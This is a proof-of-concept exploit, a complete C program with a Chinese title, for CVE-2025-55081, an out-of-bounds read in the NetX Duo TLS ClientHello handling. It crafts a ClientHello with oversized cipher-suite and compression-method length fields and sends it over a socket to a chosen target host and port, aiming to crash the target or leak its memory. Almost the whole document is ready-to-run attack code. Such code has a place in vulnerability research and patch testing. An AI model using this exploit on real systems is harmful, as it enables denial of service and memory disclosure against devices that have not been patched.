CVE-2025-55081：Eclipse ThreadX NetX Duo TLS客户端Hello越界读取漏洞

/* * CVE-2025-55081 PoC - Eclipse ThreadX NetX Duo TLS ClientHello OOB Read * * This PoC demonstrates the vulnerability by sending a crafted TLS ClientHello * message with malformed cipher_suites_length and compression_methods_length * fields to trigger an out-of-bounds read in _nx_secure_tls_process_clienthello(). * * Vulnerability: Missing length verification of ciphersuite length and * compression method length in TLS ClientHello message processing. * * Affected: Eclipse Foundation NetX Duo before 6.4.4 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> /* TLS Record Type */ #define TLS_CONTENT_TYPE_HANDSHAKE 0x16 /* TLS Handshake Type */ #define TLS_HANDSHAKE_CLIENT_HELLO 0x01 /* TLS Version */ #define TLS_VERSION_MAJOR 0x03 #define TLS_VERSION_MINOR 0x03 /* TLS 1.2 */ /* * Build a malicious TLS ClientHello with oversized cipher_suites_length * and compression_methods_length to trigger OOB read. */ unsigned char *build_malicious_client_hello(int *out_len) { unsigned char *buf = (unsigned char *)malloc(1024); int offset = 0; /* TLS Record Header */ buf[offset++] = TLS_CONTENT_TYPE_HANDSHAKE; buf[offset++] = TLS_VERSION_MAJOR; buf[offset++] = TLS_VERSION_MINOR; /* Record length placeholder (2 bytes) */ int record_len_pos = offset; buf[offset++] = 0x00; buf[offset++] = 0x00; /* Handshake Header */ buf[offset++] = TLS_HANDSHAKE_CLIENT_HELLO; /* Handshake length placeholder (3 bytes) */ int hs_len_pos = offset; buf[offset++] = 0x00; buf[offset++] = 0x00; buf[offset++] = 0x00; /* Client Version */ buf[offset++] = TLS_VERSION_MAJOR; buf[offset++] = TLS_VERSION_MINOR; /* Random (32 bytes) */ memset(&buf[offset], 0x41, 32); offset += 32; /* Session ID Length (0 - no session ID) */ buf[offset++] = 0x00; /* === MALICIOUS: Cipher Suites Length === */ /* Set to 0xFF00 (large value) to trigger OOB read */ buf[offset++] = 0xFF; buf[offset++] = 0x00; /* Only provide 2 bytes of actual cipher suite data */ buf[offset++] = 0x00; buf[offset++] = 0x2F; /* TLS_RSA_WITH_AES_128_CBC_SHA */ /* === MALICIOUS: Compression Methods Length === */ /* Set to 0xFF (large value) to trigger OOB read */ buf[offset++] = 0xFF; /* Only provide 1 byte of actual compression method data */ buf[offset++] = 0x00; /* null compression */ /* Fill record length */ int hs_len = offset - hs_len_pos - 3; buf[hs_len_pos] = (hs_len >> 16) & 0xFF; buf[hs_len_pos + 1] = (hs_len >> 8) & 0xFF; buf[hs_len_pos + 2] = hs_len & 0xFF; int rec_len = offset - record_len_pos - 2; buf[record_len_pos] = (rec_len >> 8) & 0xFF; buf[record_len_pos + 1] = rec_len & 0xFF; *out_len = offset; return buf; } int main(int argc, char *argv[]) { char *target_ip = "192.168.1.100"; int target_port = 443; if (argc >= 2) target_ip = argv[1]; if (argc >= 3) target_port = atoi(argv[2]); printf("[+] CVE-2025-55081 PoC - NetX Duo TLS ClientHello OOB Read\n"); printf("[+] Target: %s:%d\n", target_ip, target_port); /* Create socket */ int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("[-] Socket creation failed"); return 1; } struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(target_port); inet_pton(AF_INET, target_ip, &addr.sin_addr); /* Connect to target */ printf("[*] Connecting to target...\n"); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("[-] Connection failed"); close(sock); return 1; } /* Build and send malicious ClientHello */ int payload_len; unsigned char *payload = build_malicious_client_hello(&payload_len); printf("[*] Sending malicious ClientHello (%d bytes)...\n", payload_len); printf("[*] Malicious cipher_suites_length: 0xFF00\n"); printf("[*] Malicious compression_methods_length: 0xFF\n"); send(sock, payload, payload_len, 0); printf("[+] Payload sent. Check target for crash or memory disclosure.\n"); free(payload); close(sock); return 0; }